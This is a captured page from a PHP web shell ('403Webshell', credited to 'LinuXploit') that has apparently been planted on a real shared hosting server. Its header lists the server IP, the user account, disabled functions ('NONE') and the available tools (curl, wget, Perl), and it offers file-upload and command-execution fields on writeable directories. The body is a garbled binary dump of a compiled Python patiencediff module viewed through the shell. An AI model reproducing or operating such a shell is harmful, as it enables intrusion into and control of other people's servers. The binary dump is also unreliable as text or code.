403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.114
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u119869361 ( 9600978)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/patiencediff/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/patiencediff/__pycache__/_patiencediff_py.cpython-313.pyc
�

[n�c*%���SSKrSSKJr SSKJrJrJrJrJrJr "SS\	5r
S\\S\\S\\\\44S	jrS\\S\\S
\S\S\S
\S\\\\4S\SS4Sjr
SrSr"SS\R 5rg)�N)�bisect)�Any�Dict�List�Optional�Sequence�Tuplec�(^�\rSrSrU4SjrSrU=r$)�MaxRecursionDepth�c�,>�[[U]S5 g)Nzmax recursion depth reached)�superr�__init__)�self�	__class__s ��?/usr/lib/python3/dist-packages/patiencediff/_patiencediff_py.pyr�MaxRecursionDepth.__init__s���
���/�0M�N��)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__�
__classcell__)rs@rrrs���O�Orr�a�b�returnc�.�0n[U5Hup4XB;aSX$'MX2U'M S/[U5-n0n[U5H3uptURU5nUcMXF;aSXVU'X$	M+XvU'X�U'M5 S/[U5-n	/n
/nSn[U5H�up�UcM
U
(aU
SU:a[U
5nO=U
(a+X�U:a#U[U
5S-
:XdX�S-U:�aUS-
nO[X�5nUS:�a	X�S-
X�'U[U
5:a
X�U'X�U'M�U
R	U5 UR	U
5 M� [U5S:Xa/$/nUSnUb UR	UUU45 U	UnUbM UR5 U$)aFind the longest common subset for unique lines.

:param a: An indexable object (such as string or list of strings)
:param b: Another indexable object (such as string or list of strings)
:return: A list of tuples, one for each line which is matched.
        [(line_in_a, line_in_b), ...]

This only matches lines which are unique on both sides.
This helps prevent common lines from over influencing match
results.
The longest common subset uses the Patience Sorting algorithm:
http://en.wikipedia.org/wiki/Patience_sorting
Nr����)�	enumerate�len�getr�append�reverse)rr�index�i�line�btoa�index2�pos�next�backpointers�stacks�lasts�k�bpos�apos�result�ms                 r�
unique_lcs_pyr6s���"')�E��Q�<����=��E�K��$�K�	 �"&���Q���D��F��q�\�	���y�y�������~�&*��D�\�"��K�"�t�� �S�	�"�*.���Q���L��F��E�
�A���o�
���<���f�R�j�4�'��F��A���	�D�(�a�3�v�;��?�.B�.4�q�S�k�D�.@�
��F�A��v�$�A��q�5�!&��s��L���s�6�{�?��1�I��!�H��M�M�$���L�L���+&�,�5�z�Q���	�
�F��R�y�A�
�-��
�
�t�A�w��l�#���O���-��N�N���Mr�alo�blo�ahi�bhi�answer�maxrecursionc�v�US:a
[5e[U5nX$:XdX5:XagUS-
n	US-
n
[XUXU5HMup�X�-
nX�-
nU	S-U:wd	U
S-U:wa[XU	S-U
S-X�XgS-
5 Un	Un
UR	X�45 MO [U5U:�a[XU	S-U
S-XEXgS-
5 gXX:XaXX$:aAX5:a<XX:Xa2UR	X#45 US-
nUS-
nX$:aX5:aXX:XaM2[XX#XEXgS-
5 gXS-
XS-
:Xa�US-
n
US-
nX�:�a;X�:�a6X
S-
XS-
:Xa&U
S-n
US-nX�:�aX�:�aX
S-
XS-
:XaM&[XU	S-U
S-X�XgS-
5 [XM-
5HnUR	X�-X�-45 M gg)a�Find all of the matching text in the lines of a and b.

:param a: A sequence
:param b: Another sequence
:param alo: The start location of a to check, typically 0
:param ahi: The start location of b to check, typically 0
:param ahi: The maximum length of a to check, typically len(a)
:param bhi: The maximum length of b to check, typically len(b)
:param answer: The return array. Will be filled with tuples
               indicating [(line_in_a, line_in_b)]
:param maxrecursion: The maximum depth to recurse.
                     Must be a positive integer.
:return: None, the return value is in the parameter answer, which
         should be a list

rNr!)rr#r6�recurse_matches_pyr%�range)rrr7r8r9r:r;r<�	oldlength�
last_a_pos�
last_b_posr3r2�nahi�nbhir(s                rr>r>js��(�a���!�!��F��I�
�z�S�Z���Q��J��Q��J�#�A�#�J��c�
�;�
���������a�<�4��:�a�<�4�#7���j��l�J�q�L��F�1�$4�
6��
��
��
�
�t�l�#�<��6�{�Y���1��A��z�!�|��V�A�-=�	?�	
��1�6�	��i�C�I�!�&�A�F�*:��M�M�3�*�%��1�H�C��1�H�C��i�C�I�!�&�A�F�*:�	�1���V�A�-=�	?�	
��7��q�q��z�	!��Q�w���Q�w���j�T�Z�A�Q�h�K�1�A�X�;�,F��A�I�D��A�I�D��j�T�Z�A�Q�h�K�1�A�X�;�,F�	�1��A��z�!�|��v�a�/?�	A��s�z�"�A��M�M�4�8�T�X�.�/�#�
"rc���/nS=p#SnUH;upVUbXRU-:XaXcU-:XaUS-
nMUbURX#U45 UnUnSnM= US:waURX#U45 U$)z�Find sequences of lines.

Given a sequence of [(line_in_a, line_in_b),]
find regions where they both increment at the same time
Nrr!)r%)�matchesr;�start_a�start_b�length�i_a�i_bs       r�_collapse_sequencesrL�s����F���G�
�F�������f�,�,��f�,�,��a�K�F��"��
�
�w��8�9��G��G��F����{��
�
�w��0�1��Mrc�t�SnSnUH.up4nX1:a[S5eXB:a[S5eX5-nXE-nM0 g)Nr zNon increasing matches for azNon increasing matches for b)�
ValueError)r;�next_a�next_brr�	match_lens      r�_check_consistencyrR�sK��
�F�
�F�#���y��:��;�<�<��:��;�<�<�������
$rc�,�\rSrSrSrSrSSjrSrSrg)	�PatienceSequenceMatcher_py��z8Compare a pair of sequences using longest common subset.TNc�`�Ub[S5e[RRXX#5 g)Nz8Currently we do not support isjunk for sequence matching)�NotImplementedError�difflib�SequenceMatcherr)r�isjunkrrs    rr�#PatienceSequenceMatcher_py.__init__�s3����%�'F�G�
G����(�(��q�<rc
���URbUR$/n[URURSS[	UR5[	UR5US5 [U5UlURR
[	UR5[	UR5S45 [R(a[UR5 UR$)a�Return list of triples describing matching subsequences.

Each triple is of the form (i, j, n), and means that
a[i:i+n] == b[j:j+n].  The triples are monotonically increasing in
i and in j.

The last triple is a dummy, (len(a), len(b), 0), and is the only
triple with n==0.

>>> s = PatienceSequenceMatcher(None, "abxcd", "abcd")
>>> s.get_matching_blocks()
[(0, 0, 2), (3, 2, 2), (5, 4, 0)]
r�
)
�matching_blocksr>rrr#rLr%rT�_do_check_consistencyrR)rrFs  r�get_matching_blocks�.PatienceSequenceMatcher_py.get_matching_blocks�s���&���+��'�'�'����4�6�6�4�6�6�1�a��t�v�v�;��D�F�F��W�b�	B� 3�7�;������#�#�S����[�#�d�f�f�+�q�$A�B�%�;�;��"�4�#7�#7�8��#�#�#r)r^)N�rb)	rrrr�__doc__r_rr`rrrrrTrT�s��B� ��=�!$rrT)rXr�typingrrrrrr	�	Exceptionr�intr6r>rLrRrYrTrrr�<module>rgs���"��=�=�O�	�O�K�X�c�]�K�x��}�K��e�C��H�o�9N�K�\>0��C�=�>0�%�c�]�>0�
�>0��>0�!$�>0�+.�>0��U�3��8�_�%�>0�69�>0�>B�>0�B�6
�,$��!8�!8�,$r

Youez - 2016 - github.com/yon3zu
LinuXploit